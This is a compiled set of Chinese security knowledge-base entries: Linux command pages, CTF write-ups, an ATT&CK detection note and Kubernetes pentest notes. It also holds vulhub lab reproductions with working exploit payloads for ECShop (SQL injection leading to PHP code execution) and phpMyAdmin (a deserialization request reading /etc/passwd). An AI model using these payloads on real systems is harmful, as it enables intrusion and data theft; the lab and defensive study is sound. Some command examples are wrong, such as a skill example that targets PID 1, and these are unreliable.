-M disable mouse (text only)
-O#### options to pass to plugins
-o#### specify the output database (implies -c)
-p#### processor type
-P+ compress database (create zipped idb)
-P pack database (create unzipped idb)
-P- do not pack database (not recommaned, see Abort command)
-r### immediately run the built-in debugger
format of this switch is explained here
-R load MS Windows exe file resources
-S### Execute a script file when the database is opened.
The script file extension is used to determine which extlang will run the script.
It is possible to pass command line arguments after the script name.
For example: -S"myscript.idc argument1 \"argument 2\" argument3"
The passed parameters are stored in the "ARGV" global IDC variable.
Use "ARGV.count" to determine the number of arguments.
The first argument "ARGV[0]" contains the script name
-T### interpret the input file as the spwecified file type
The file type is specified as a prefix of a file type
visible in the 'load file' dialog box
-t create an empty database.
-W### specify MS Windows directory
-x do not create segmentation
(used in pair with Dump database command)
this switch affects EXE and COM format files only.
-z debug:
00000001 drefs
00000002 offsets
00000004 first
00000008 idp module
00000010 idr module
00000020 plugin module
00000040 ids files
00000080 config file
00000100 check heap
00000200 checkarg
00000400 demangler
00000800 queue
00001000 rollback
00002000 already data or code
00004000 type system
00008000 show all notifications
00010000 debugger
00200000 Appcall
00400000 source-level debugger
-? this screen (works for the next version)
? this screnn (works for the next version)
```
For batch mode, IDA must be invoked with the following command line:
```idaq -B input-file```
which is equivalent to
```idaq -c -A -Sanalysis.idc input-file```
The text interface (idaw.exe/idal) is better for batch mode because it uses less system resources. Howeveer, please note that regular plugins are not automatically loaded in batch mode because the analysis .idc file quits and the kernel has no chance to load them.
For more information, please see the analysis.idc file in the IDC subdirectory.
|
sec-knowleage
|
# ECShop 2.x/3.x SQL注入/任意代码执行漏洞
ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。
其2017年及以前的版本中,存在一处SQL注入漏洞,通过该漏洞可注入恶意数据,最终导致任意代码执行漏洞。其3.6.0最新版已修复该漏洞,vulhub中使用其2.7.3最新版与3.6.0次新版进行漏洞复现。
参考链接:
- https://paper.seebug.org/691/
## 环境搭建
执行如下命令启动ecshop 2.7.3与3.6.0:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`将看到2.7.3的安装页面,访问`http://your-ip:8081`将看到3.6.0的安装页面。
依次安装二者,mysql地址填写`mysql`,mysql账户与密码均为`root`,数据库名随意填写,但2.7.3与3.6.0的数据库名不能相同。如图:

## 漏洞复现
我编写了一个脚本,可以生成2.x和3.x的POC:
```php
<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];
$s = serialize($arr);
$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";
```
生成的POC,放在Referer里发送:
```
GET /user.php?act=login HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```
2.x的执行结果

3.x的执行结果:

|
sec-knowleage
|
fuser
===
使用文件或文件结构识别进程
## 补充说明
**fuser命令** 用于报告进程使用的文件和网络套接字。fuser命令列出了本地进程的进程号,那些本地进程使用file,参数指定的本地或远程文件。对于阻塞特别设备,此命令列出了使用该设备上任何文件的进程。
每个进程号后面都跟随一个字母,该字母指示进程如何使用文件。
* `c` :指示进程的工作目录。
* `e` :指示该文件为进程的可执行文件(即进程由该文件拉起)。
* `f` :指示该文件被进程打开,默认情况下f字符不显示。
* `F` :指示该文件被进程打开进行写入,默认情况下F字符不显示。
* `r` :指示该目录为进程的根目录。
* `m` :指示进程使用该文件进行内存映射,抑或该文件为共享库文件,被进程映射进内存。
### 语法
```shell
fuser(选项)(参数)
```
### 选项
```shell
-a:显示命令行中指定的所有文件;
-k:杀死访问指定文件的所有进程;
-i:杀死进程前需要用户进行确认;
-l:列出所有已知信号名;
-m:指定一个被加载的文件系统或一个被加载的块设备;
-n:选择不同的名称空间;
-u:在每个进程后显示所属的用户名。
```
### 参数
文件:可以是文件名或者TCP、UDP端口号。
### 实例
要列出使用`/etc/passwd`文件的本地进程的进程号,请输入:
```shell
fuser /etc/passwd
```
要列出使用`/etc/filesystems`文件的进程的进程号和用户登录名,请输入:
```shell
fuser -u /etc/filesystems
```
要终止使用给定文件系统的所有进程,请输入:
```shell
fuser -k -x -u -c /dev/hd1 或者 fuser -kxuc /home
```
任一命令都列出了进程号和用户名,然后终止每个正在使用`/dev/hd1 (/home)`文件系统的进程。仅有root用户能终止属于另一用户的进程。如果您正在试图卸下`/dev/hd1`文件系统,而一个正在访问`/dev/hd1`文件系统的进程不允许这样,您可能希望使用此命令。
要列出正在使用已从给定文件系统删除的文件的全部进程,请输入:
```shell
fuser -d /usr文件
```
`/dev/kmem` 用于系统映像。
`/dev/mem` 也用于系统映像。
|
sec-knowleage
|
skill
===
向选定的进程发送信号冻结进程
## 补充说明
**skill命令** 用于向选定的进程发送信号,冻结进程。这个命令初学者并不常用,深入之后牵涉到系统服务优化之后可能会用到。
### 语法
```shell
skill(选项)
```
### 选项
```shell
-f:快速模式;
-i:交互模式,每一步操作都需要确认;
-v:冗余模式;
-w:激活模式;
-V:显示版本号;
-t:指定开启进程的终端号;
-u:指定开启进程的用户;
-p:指定进程的id号;
-c:指定开启进程的指令名称。
```
### 实例
如果您发现了一个占用大量CPU和内存的进程,但又不想停止它,该怎么办?考虑下面的top命令输出:
```shell
top -c -p 16514
23:00:44 up 12 days, 2:04, 4 users, load average: 0.47, 0.35, 0.31
1 processes: 1 sleeping, 0 running, 0 zombie, 0 stopped
CPU states: cpu user nice system irq softirq iowait idle
total 0.0% 0.6% 8.7% 2.2% 0.0% 88.3% 0.0%
Mem: 1026912k av, 1010476k used, 16436k free, 0k shrd, 52128k buff
766724k actv, 143128k in_d, 14264k in_c
Swap: 2041192k av, 83160k used, 1958032k free 799432k cached
PID USER PRI NI SIZE RSS SHARE stat %CPU %MEM time CPU command
16514 oracle 19 4 28796 26M 20252 D N 7.0 2.5 0:03 0 oraclePRODB2...
```
既然您确认进程16514占用了大量内存,您就可以使用skill命令“冻结”它,而不是停止它。
```shell
skill -STOP 1
```
之后,检查top输出:
```shell
23:01:11 up 12 days, 2:05, 4 users, load average: 1.20, 0.54, 0.38
1 processes: 0 sleeping, 0 running, 0 zombie, 1 stopped
CPU states: cpu user nice system irq softirq iowait idle
total 2.3% 0.0% 0.3% 0.0% 0.0% 2.3% 94.8%
Mem: 1026912k av, 1008756k used, 18156k free, 0k shrd, 3976k buff
770024k actv, 143496k in_d, 12876k in_c
Swap: 2041192k av, 83152k used, 1958040k free 851200k cached
PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM TIME CPU COMMAND
16514 oracle 19 4 28796 26M 20252 T N 0.0 2.5 0:04 0 oraclePRODB2...
```
现在,CPU 从 0% 空闲变为 94% 空闲。该进程被有效冻结。过一段时间之后,您可能希望唤醒该进程:
```shell
skill -CONT 16514
```
如果希望暂时冻结进程以便为完成更重要的进程腾出空间,该方法非常有用。
此命令用途很广。如果您要停止 "oracle" 用户的所有进程,只需要一个命令即可实现:
```shell
skill -STOP oracle
```
可以使用用户、PID、命令或终端 id 作为参数。以下命令可停止所有 rman 命令。
```shell
skill -STOP rman
```
如您所见,skill 决定您输入的参数(进程 ID、用户 ID 或命令)并进行相应操作。这可能会导致在某些情况下出现这样的问题:您可能具有同名的用户和命令。最好的示例是 "oracle" 进程,通常由用户 "oracle" 运行。因此,当您希望停止名为 "oracle" 的进程时,可执行以下命令:
```shell
skill -STOP oracle
```
用户 "oracle" 的所有进程都停止,包括您可能要使用的会话。要非常明确地执行命令,您可以选择使用一个新参数指定参数的类型。要停止一个名为 oracle 的命令,可执行以下命令:
```shell
skill -STOP -c oracle
```
snice命令的功能与skill类似。但它用于降低进程的优先级,而不是停止进程。首先,检查 top 输出:
```shell
PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM TIME CPU COMMAND
3 root 15 0 0 0 0 RW 0.0 0.0 0:00 0 kapmd
13680 oracle 15 0 11336 10M 8820 T 0.0 1.0 0:00 0 oracle
13683 oracle 15 0 9972 9608 7788 T 0.0 0.9 0:00 0 oracle
13686 oracle 15 0 9860 9496 7676 T 0.0 0.9 0:00 0 oracle
13689 oracle 15 0 10004 9640 7820 T 0.0 0.9 0:00 0 oracle
13695 oracle 15 0 9984 9620 7800 T 0.0 0.9 0:00 0 oracle
13698 oracle 15 0 10064 9700 7884 T 0.0 0.9 0:00 0 oracle
13701 oracle 15 0 22204 21M 16940 T 0.0 2.1 0:00 0 oracle
```
现在,将 "oracle" 进程的优先级降低四个点。注意,该值越高,优先级越低。
```shell
snice +4 -u oracle
PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM TIME CPU COMMAND
16894 oracle 20 4 38904 32M 26248 D N 5.5 3.2 0:01 0 oracle
```
注意,NI 列(nice 值)现在是 4,优先级现在设置为 20,而不是 15。这对于降低优先级非常有帮助。
|
sec-knowleage
|
gcov
===
测试程序的代码覆盖率的工具
## 补充说明
**gcov命令** 是一款测试程序的代码覆盖率的工具。
### 语法
```shell
gcov(选项)(参数)
```
### 选项
```shell
-h:显示帮助信息;
-v:显示版本信息;
-a:输出所有的基本块的执行计数;
-n:并创建输出文件。
```
### 参数
V语言文件:C语言源代码文件。
|
sec-knowleage
|
rcconf
===
Debian Linux下的运行等级服务配置工具
## 补充说明
**rcconf命令** 是Debian Linux下的运行等级服务配置工具,用以设置在特定的运行等级下系统服务的启动配置。
### 语法
```shell
rcconf(选项)
```
### 选项
```shell
--help:打印帮助信息;
--dialog:使用对话命令显示菜单;
--notermcheck:不按照终端属性来设置窗口尺寸。
```
|
sec-knowleage
|
# Fibonacci (ppc 400)
###ENG
[PL](#pl-version)
The task is pretty simple.
The server asks us how many recursions we need to compute N-th fibonacci number (using recursive algorithm).
For some reason we could spend 25s on each question, which was a bit silly considering we could just pre-compute the results instantly in a fraction of a second.
We can compute this using a dynamic algorithm.
First two fibonacci numbers require 0 recursions, and k-th number require as many recursions as calculating k-2-th number + 1 (1 because we are calling fib(k-2)), plus calculating k-1-th number plus 1 (again 1 because we are calling fib(k-1)).
And we can compute this iteratively from the bottom.
So in general:
```python
calls = [0, 0] + [0] * (n + 1)
for i in range(2, n + 1):
calls[i] = calls[i - 1] + calls[i - 2] + 2
```
We started by pre-computing results for the first 1000 numbers, but this as already an overkill because the largest tests were less than 500.
Running this on 100 tests gives the flag: `3DS{g00d4lgorithmsC4nSaveYourTime}`
###PL version
Zadanie było dość proste.
Serwer pytał ile wywołań rekurencyjnych potrzeba zeby policzyć N-tą liczbę fibonacciego (używając algorytmu rekurencyjnego).
Z jakiegoś powodu mogliśmy użyć aż 25s na jedno pytanie, co było dość dziwne biorąc pod uwagę że można było wyliczyć sobie wcześniej tablicę rozwiązań w ułamku sekundy.
Możemy policzyć rozwiązanie algorytmem dynamicznym.
Pierwsze dwie liczby wymagają 0 rekurencji a k-ta liczba wymaga tyle rekurencji ile policzenie liczby k-2 plus 1 (1 bo wywołujemy fib(k-2)), plus ile policzenie liczby k-1 plus 1 (znowu 1 bo wywyłujemy fib(k-1)).
Czyli generalnie:
```python
calls = [0, 0] + [0] * (n + 1)
for i in range(2, n + 1):
calls[i] = calls[i - 1] + calls[i - 2] + 2
```
Zaczęliśmy przez wyliczenie rozwiazań dla pierwszego 1000 liczb bo okazało się przeszacowaniem, ponieważ największy test miał nie więcej niż 500.
Uruchomienie tego dla 100 testów dało nam flagę: `3DS{g00d4lgorithmsC4nSaveYourTime}`
|
sec-knowleage
|
# T1222-002-linux-文件权限修改
## 来自ATT&CK的描述
文件权限通常有文件的所有者指定的自主访问控制列表(DACL)管理。文件DACL实现可能因不同系统而异,但通常明确指定那些用户/组可以执行那些操作(例如:读取、写入、执行等)。
攻击者可以修改文件权限/属性来逃避预定的DACL策略,修改可能包括更改特定的访问权限,这可能需要获取文件的所有权或提升权限,例如:administer/root,具体取决于文件的现有权限。特定文件修改可能是许多技术的必需步骤,例如通过辅助功能,登陆脚本建立持久性,或者污染/劫持其他工具的配置文件等。
## 测试案例
chmod 766 abc.txt
chmod u+x abc.txt #abc.txt文件属主权限,具有执行权限
chmod o-x abc.txt #取消其他用户对abc.txt的执行权限
chown runoob:runoobgroup abc.txt 将文件 abc.txt 的拥有者设为 runoob,群体的使用者 runoobgroup
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
bash历史记录
## 测试复现
icbc@icbc:~$ sudo chmod 766 abc.txt
......
icbc@icbc:~$ sudo chmod u+x abc.txt
## 测试留痕
基于audit日志
暂无
基于历史记录
icbc@icbc:~$ histroy
646 sudo chmod 766 abc.txt
647 sudo chmod u+x abc.txt
## 检测规则/思路
### splunk规则
#### 基于audit日志
index=linux sourcetype=linux_audit syscall=90 OR syscall=91 OR sycall=268 | table msg,syscall,syscall_name,success,auid,comm,exe
#### 基于bash历史记录
index=linux sourcetype="bash_history" bash_command="chmod *" OR bash_command="chown*" | table host,user_name,bash_command
### 建议
值的注意的是:你需要创建一个白名单进行数据降噪,否则你可能会在无休止的去误报的路上越走越远。
## 参考推荐
MITRE-ATT&CK-T1222-002
<https://attack.mitre.org/techniques/T1222/002/>
Audit配置手册
<https://www.cnblogs.com/bldly1989/p/7204358.html>
DACL自主访问控制列表
<https://baike.baidu.com/item/DACL/10681774?fr=aladdin>
linux下chmod命令用法
<https://blog.csdn.net/shinehoo/article/details/5821354>
linux下chown命令用法
<https://www.runoob.com/linux/linux-comm-chown.html>
|
sec-knowleage
|
### Hash Attack概述
常见的Hash函数的攻击方法主要有
- 暴力攻击:不依赖于任何算法细节,仅与Hash值长度有关;
- 生日攻击法(Birthday Attack):没有利用Hash函数的结构和任何代数弱性质,只依赖于消息摘要的长度,即Hash值的长度。
- 中点交会攻击法(Meet-In-The-Middle):是生日攻击的一种变形,不比较Hash值,而是比较中间变量。这种攻击主要适用于攻击具有分组链结构的Hash方案。
- 密码分析:依赖于具体算法的设计缺点。
### 暴力攻击工具
**HashCat 工具** 可以说是目前最好的基于 CPU 和 GPU 破解 Hash 的软件,相关链接如下
[HashCat 官网](http://www.hashcat.net/hashcat/)
[HashCat 简单使用](http://www.freebuf.com/sectool/112479.html)
### 哈希长度拓展攻击(hash length extension attacks)介绍
基本定义如下,源自[维基百科](https://zh.wikipedia.org/wiki/%E9%95%BF%E5%BA%A6%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB)。
哈希长度扩展攻击(Hash Length Extension Attacks)是指针对某些允许包含额外信息的加密散列函数的攻击手段。该攻击适用于在**消息与密钥的长度已知**的情形下,所有采取了 H(key ∥ message) 此类构造的散列函数。MD5和SHA-1 等基于 Merkle–Damgård 构造的算法均对此类攻击显示出脆弱性。
这类哈希函数有以下特点
- 消息填充方式都比较类似,首先在消息后面添加一个1,然后填充若干个0,直至总长度与 448 同余,最后在其后附上64位的消息长度(填充前)。
- 每一块得到的链接变量都会被作为下一次执行hash函数的初始向量IV。在最后一块的时候,才会将其对应的链接变量转换为hash值。
一般攻击时应满足如下条件
- 我们已知 key 的长度,如果不知道的话,需要爆破出来
- 我们可以控制 message 的消息。
- 我们已经知道了包含 key 的一个消息的hash值。
这样我们就可以得到一对(messge,x)满足x=H(key ∥ message)虽然我们并不清楚key的内容。
### 哈希长度拓展攻击(hash length extension attacks)原理
这里不妨假设我们我们知道了 hash(key+s) 的 hash 值,其中 s 是已知的,那么其本身在计算的时候,必然会进行填充。那么我们首先可以得到 key+s 扩展后的字符串 now,即
now=key|s|padding
那么如果我们在 now 的后面再次附加上一部分信息extra,即
key|s|padding|extra
这样再去计算hash值的时候,
1. 会对 extra 进行填充直到满足条件。
2. 先计算 now 对应的链接变量 IV1,而我们已经知道这部分的 hash 值,并且链接变量产生 hash 值的算法是可逆的,所以我们可以得到链接变量。
3. 下面会根据得到的链接变量 IV1,对 extra 部分进行哈希算法,并返回hash值。
那么既然我们已经知道了第一部分的 hash 值,并且,我们还知道 extra 的值,那么我们便可以得到最后的hash值。
而之前我们也说了我们可以控制 message 的值。那么其实 s,padding,extra 我们都是可以控制的。所以我们自然可以找到对应的(message,x)满足x=hash(key|message)。
|
sec-knowleage
|
# Codegate CTF 2018 Quals
Team: akrasuski1, shalom, pwn.m0d3, msm, nazywam
### Table of contents
* [Droid (re)](re_droid)
|
sec-knowleage
|
# Writeup ASIS CTF Finals 2015
Uczestniczyliśmy (Rev, Shalom, other019, nazywam, pp i msm) w finałach ASIS CTF, i znowu spróbujemy opisać zadania z którymi walczyliśmy (a przynajmniej te, które pokonaliśmy).
Ogólne wrażenia:
- Pierwszy CTF gdzie pierwsze punkty udało nam się zdobyć dopiero po kilku godzinach.
- Wyjątkowo dużo zadań nad którymi musieliśmy pracować w kilka osób (robiąc research, pisząc część skryptów etc.). Zwykle jedno zadanie rozwiązuj 1-2 osoby, tutaj było kilka nad którymi pracowały 3-4 osoby na raz.
- Przeważająca większość zadań to re, pwn i crypto, czyli generalnie kategorie w których nie jesteśmy najmocniejsi.
Opisy zadań po kolei.
# Spis treści:
* [AsisHash (re 150)](re_150_asishash)
* [Big Lie (forensic 100)](forensic_100_big_lie)
* [Bodu (crypto 175)](crypto_175_bodu)
* [Calcexec I (pwn 200)](pwn_200_calcexec_I)
* [Calm Down (trivia 75)](trivia_75_calm_down)
* [ExampleFlag (trivia 1)](trivia_1_example_flag)
* [Fake (re 150)](re_150_fake)
* [FlagHunter (misc 75)](misc_75_flaghunter)
* [Impossible (web 225)](web_225_impossible)
* [License (re 125)](re_100_license)
* [MeowMeow (misc 75)](misc_75_meowmeow)
* [Shop-1 (pwn 100)](pwn_100_shop_1)
* [Strange (forensic 150)](forensic_150_strange)
# Zakończenie
Zachęcamy do komentarzy/pytań/czegokolwiek.
|
sec-knowleage
|
# phpmyadmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433)
phpmyadmin 2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。
## 环境搭建
执行如下命令启动phpmyadmin:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`,即可看到phpmyadmin的首页。因为没有连接数据库,所以此时会报错,但我们这个漏洞的利用与数据库无关,所以忽略。
## 漏洞复现
发送如下数据包,即可读取`/etc/passwd`:
```
POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
```

|
sec-knowleage
|
# Writeup Defcamp CTF Quals 2016
Team: psrok1, seikendev, c7f.m0d3, cr019283, nazywam, rev, msm, akrasuski1, shalom


### Table of contents
* [F4ceb00k 60s (Web 100)](web100)
* [URL Anonymizer (Web 200)](web200)
* [Bad OTPxploited (RevCrypt 100)](revcrypt100)
* [Rucksack (RevCrypt 200)](revcrypt200)
* [Decoy (RevCrypt 300)](revcrypt300)
* [dctfizer (RevCrypt 400)](revcrypt400)
* [Warm heap (Exploit 100)](exp100)
* [The nospecial virus (Misc 100)](misc100)
* [b4s14l (Misc 150)](misc150)
* [Musicetry (Misc 200)](musicetry_misc_200)
* [Evil farmers (Misc 400)](misc400)
|
sec-knowleage
|
getenforce
===
显示当前SELinux的应用模式,是强制、执行还是停用
## 补充说明
**grename命令** 可以重命名卷组的名称。
### 语法
```shell
getenforce
```
### 例子
查看当前SELinux的应用模式。
```shell
[root@localhost ~]# getenforce
Enforcing
```
|
sec-knowleage
|
# Random Noise (staganography)
In this challenge, we're given a file that is in fact 2 pngs:
```
┌[michal@Bobik] [/dev/ttys004]
└[~/Desktop]> binwalk final.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 799 x 397, 8-bit colormap, non-interlaced
821 0x335 Zlib compressed data, default compression
3360 0xD20 PNG image, 799 x 397, 8-bit/color RGBA, non-interlaced
3401 0xD49 Zlib compressed data, default compression
```
They both contain clues essential to the solution of the challange:
The first image contains some data on the lowest bits of each color of the upper row:

Which we can extract using a simple python script:
``` python
def chunks(l, n):
"""Yield successive n-sized chunks from l."""
for i in range(0, len(l), n):
yield l[i:i + n]
with open("lsb.pnm") as f:
dots = f.read().split("\n")
pixels = chunks(dots, 3)
data = ""
for pix in list(pixels)[:-1]:
pix = map(int, pix)
r, g, b = pix
data += str(r&1)
data = map(lambda x:chr(int(x,2)), chunks(data, 8))
print(''.join(data))
```
```
┌[michal@Bobik] [/dev/ttys004]
└[~/Desktop]> python parse_lsb.py
key for vigenere cipher: THISKEYCANTBEGUESSED (not the flag)
```
Let's move on to the second picture:

We actually spent quite a while on this stage but finally came up with a good guess: let's sort the pixels by colors, if they in fact random the distribution should be quite equal, right?

Some weird anomalies, let's filter theese out in the original image:

Bingo!, it's [a morse](https://i.pinimg.com/originals/f8/9d/35/f89d3592cc9c024df2e003f0468e5c85.jpg)
`WSIYSWFGYLHVNAMXKSZHWUMG`
If we now decipher it using the vigenre password we get: `HEYYOUJUSTSAVEDNEO`
|
sec-knowleage
|
## Rock with the wired shark! (Misc, 70p)
Sniffing traffic is fun. I saw a wired shark. Isn't that strange?
###ENG
[PL](#pl-version)
After extracting objects from given pcap file, we get only a couple of webpages and a zip file.
It was encrypted, but we found the password in HTTP basic authorization.
###PL version
Wypakowawszy obiekty z otrzymanego pliku pcap, dostaliśmy jedynie kilka stron oraz zaszyfrowanego
zipa. Hasło, po chwili szukania, można było znaleźć w autoryzacji żądania HTTP w oryginalnym pliku.
|
sec-knowleage
|
# Kubernetes
> Kubernetes is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation.
## Summary
- [Tools](#tools)
- [Container Environment](#container-environment)
- [Information Gathering](#information-gathering)
- [RBAC Configuration](#rbac-configuration)
- [Listing Secrets](#listing-secrets)
- [Access Any Resource or Verb](#access-any-resource-or-verb)
- [Pod Creation](#pod-creation)
- [Privilege to Use Pods/Exec](#privilege-to-use-pods-exec)
- [Privilege to Get/Patch Rolebindings](#privilege-to-get-patch-rolebindings)
- [Impersonating a Privileged Account](#impersonating-a-privileged-account)
- [Privileged Service Account Token](#privileged-service-account-token)
- [Interesting endpoints to reach](#interesting-endpoints-to-reach)
- [API addresses that you should know](#api-addresses-that-you-should-know)
- [References](#references)
## Tools
* [kubeaudit](https://github.com/Shopify/kubeaudit) - Audit Kubernetes clusters against common security concerns
* [kubesec.io](https://kubesec.io/) - Security risk analysis for Kubernetes resources
* [kube-bench](https://github.com/aquasecurity/kube-bench) - Checks whether Kubernetes is deployed securely by running [CIS Kubernetes Benchmark](https://www.cisecurity.org/benchmark/kubernetes/)
* [kube-hunter](https://github.com/aquasecurity/kube-hunter) - Hunt for security weaknesses in Kubernetes clusters
* [katacoda](https://katacoda.com/courses/kubernetes) - Learn Kubernetes using interactive broser-based scenarios
* [kubescape](https://github.com/armosec/kubescape) - Automate Kubernetes cluster scans to identify security issues
## Container Environment
Containers within a Kubernetes cluster automatically have certain information made available to them through their [container environment](https://kubernetes.io/docs/concepts/containers/container-environment/). Additional information may have been made available through the volumes, environment variables, or the downward API, but this section covers only what is made available by default.
### Service Account
Each Kubernetes pod is assigned a service account for accessing the Kubernetes API. The service account, in addition to the current namespace and Kubernetes SSL certificate, are made available via a mounted read-only volume:
```
/var/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/namespace
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
```
If the `kubectl` utility is installed in the container, it will use this service account automatically and will make interacting with the cluster much easier. If not, the contents of the `token` and `namespace` files can be used to make HTTP API requests directly.
### Environment Variables
The `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` environment variables are automatically provided to the container. They contain the IP address and port number of the Kubernetes master node. If `kubectl` is installed, it will use these values automatically. If not, the values can be used to determine the correct IP address to send API requests to.
```
KUBERNETES_SERVICE_HOST=192.168.154.228
KUBERNETES_SERVICE_PORT=443
```
Additionally, [environment variables](https://kubernetes.io/docs/concepts/services-networking/service/#discovering-services) are automatically created for each Kubernetes service running in the current namespace when the container was created. The environment variables are named using two patterns:
- A simplified `{SVCNAME}_SERVICE_HOST` and `{SVCNAME}_SERVICE_PORT` contain the IP address and default port number for the service.
- A [Docker links](https://docs.docker.com/network/links/#environment-variables) collection of variables named `{SVCNAME}_PORT_{NUM}_{PROTOCOL}_{PROTO|PORT|ADDR}` for each port the service exposes.
For example, all of the following environment variables would be available if a `redis-master` service were running with port 6379 exposed:
```
REDIS_MASTER_SERVICE_HOST=10.0.0.11
REDIS_MASTER_SERVICE_PORT=6379
REDIS_MASTER_PORT=tcp://10.0.0.11:6379
REDIS_MASTER_PORT_6379_TCP=tcp://10.0.0.11:6379
REDIS_MASTER_PORT_6379_TCP_PROTO=tcp
REDIS_MASTER_PORT_6379_TCP_PORT=6379
REDIS_MASTER_PORT_6379_TCP_ADDR=10.0.0.11
```
### Simulating `kubectl` API Requests
Most containers within a Kubernetes cluster won't have the `kubectl` utility installed. If running the [one-line `kubectl` installer](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) within the container isn't an option, you may need to craft Kubernetes HTTP API requests manually. This can be done by using `kubectl` *locally* to determine the correct API request to send from the container.
1. Run the desired command at the maximum verbosity level using `kubectl -v9 ...`
1. The output will include HTTP API endpoint URL, the request body, and an example curl command.
1. Replace the endpoint URL's hostname and port with the `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` values from the container's environment variables.
1. Replace the masked "Authorization: Bearer" token value with the contents of `/var/run/secrets/kubernetes.io/serviceaccount/token` from the container.
1. If the request had a body, ensure the "Content-Type: application/json" header is included and send the request body using the customary method (for curl, use the `--data` flag).
For example, this output was used to create the [Service Account Permissions](#service-account-permissions) request:
```powershell
# NOTE: only the Authorization and Content-Type headers are required. The rest can be omitted.
$ kubectl -v9 auth can-i --list
I1028 18:58:38.192352 76118 loader.go:359] Config loaded from file /home/example/.kube/config
I1028 18:58:38.193847 76118 request.go:942] Request Body: {"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","metadata":{"creationTimestamp":null},"spec":{"namespace":"default"},"status":{"resourceRules":null,"nonResourceRules":null,"incomplete":false}}
I1028 18:58:38.193912 76118 round_trippers.go:419] curl -k -v -XPOST -H "Accept: application/json, */*" -H "Content-Type: application/json" -H "User-Agent: kubectl/v1.14.10 (linux/amd64) kubernetes/f5757a1" 'https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews'
I1028 18:58:38.295722 76118 round_trippers.go:438] POST https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews 201 Created in 101 milliseconds
I1028 18:58:38.295760 76118 round_trippers.go:444] Response Headers:
...
```
## Information Gathering
### Service Account Permissions
The default service account may have been granted additional permissions that make cluster compromise or lateral movement easier.
The following can be used to determine the service account's permissions:
```powershell
# Namespace-level permissions using kubectl
kubectl auth can-i --list
# Cluster-level permissions using kubectl
kubectl auth can-i --list --namespace=kube-system
# Permissions list using curl
NAMESPACE=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/namespace")
# For cluster-level, use NAMESPACE="kube-system" instead
MASTER_URL="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
TOKEN=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/token")
curl "${MASTER_URL}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
--cacert "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt" \
--header "Authorization: Bearer ${TOKEN}" \
--header "Content-Type: application/json" \
--data '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'${NAMESPACE}'"}}'
```
### Secrets, ConfigMaps, and Volumes
Kubernetes provides Secrets and ConfigMaps as a way to load configuration into containers at runtime. While they may not lead directly to whole cluster compromise, the information they contain can lead to individual service compromise or enable lateral movement within a cluster.
From a container perspective, Kubernetes Secrets and ConfigMaps are identical. Both can be loaded into environment variables or mounted as volumes. It's not possible to determine if an environment variable was loaded from a Secret/ConfigMap, so each environment variable will need to be manually inspected. When mounted as a volume, Secrets/ConfigMaps are always mounted as read-only tmpfs filesystems. You can quickly find these with `grep -F "tmpfs ro" /etc/mtab`.
True Kubernetes Volumes are typically used as shared storage or for persistent storage across restarts. These are typically mounted as ext4 filesystems and can be identified with `grep -wF "ext4" /etc/mtab`.
### Privileged Containers
